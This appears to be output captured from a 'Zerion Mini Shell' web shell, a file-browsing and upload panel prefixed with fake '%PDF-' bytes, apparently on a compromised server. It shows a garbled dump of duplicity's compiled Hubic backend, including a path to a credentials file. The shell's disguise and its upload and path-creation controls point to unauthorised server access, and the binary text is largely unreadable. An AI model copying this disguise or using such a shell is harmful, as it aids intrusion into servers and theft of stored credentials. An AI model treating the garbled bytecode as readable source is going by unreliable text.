%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/duplicity/backends/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/duplicity/backends/__pycache__/hubicbackend.cpython-312.pyc

�

�2ez	���ddlZddlZddlmZddlmZddlmZddlmZGd�de�Z	ejjd	e	�y)
�N)�log)�util)�BackendException�)�PyraxBackendc��eZdZdZd�Zy)�HubicBackendz'
    Backend for Hubic using Pyrax
    c	�T�tjjj||�	ddl}|jdd�tjjd�}tjj|�r	|j|�nt
d��|jj/d	�}|j0j2|_|j0j6|_|j:j=|�|_y#t
$r}t
dt|�����d}~wwxYw#t$rf}tj d|j"j$�dt'j(|���tj*j,�Yd}~��d}~wwxYw)
NrzNHubic backend requires the pyrax library available from Rackspace.
Exception: �
identity_typez5duplicity.backends.pyrax_identity.hubic.HubicIdentityz~/.hubic_credentialsz2Connection failed, please check your credentials: � z#No ~/.hubic_credentials file found.�/) �	duplicity�backend�Backend�__init__�pyrax�ImportErrorr�str�set_setting�os�path�
expanduser�exists�set_credential_file�	Exceptionr�
FatalError�	__class__�__name__r�uexc�	ErrorCode�connection_failed�lstrip�
exceptions�ClientException�
client_exc�NoSuchObject�nso_exc�
cloudfiles�create_container�	container)�self�
parsed_urlr�e�CREDENTIALS_FILEr*s      �A/usr/lib/python3/dist-packages/duplicity/backends/hubicbackend.pyrzHubicBackend.__init__#s_�����!�!�*�*�4��<�	��	���/�+b�c��7�7�-�-�.D�E��
�7�7�>�>�*�+�
��)�)�*:�;�#�#H�I�I��O�O�*�*�3�/�	��*�*�:�:����'�'�4�4����)�)�:�:�9�E����5�	�"����F�8���
��	���
����H�Q�[�[�Ma�Ma�Lb�bc�dh�dm�dm�no�dp�cq�r��M�M�3�3����
�s0�D�D8�	D5�D0�0D5�8	F'�AF"�"F'N)r�
__module__�__qualname__�__doc__r��r/r	r	s
���Fr4r	zcf+hubic)r�duplicity.backendrrr�duplicity.errorsr�	_cf_pyraxrr	r�register_backendr3r4r/�<module>r9s@��*
����-�#�$F�<�$F�N
���"�"�:�|�<r4

Zerion Mini Shell 1.0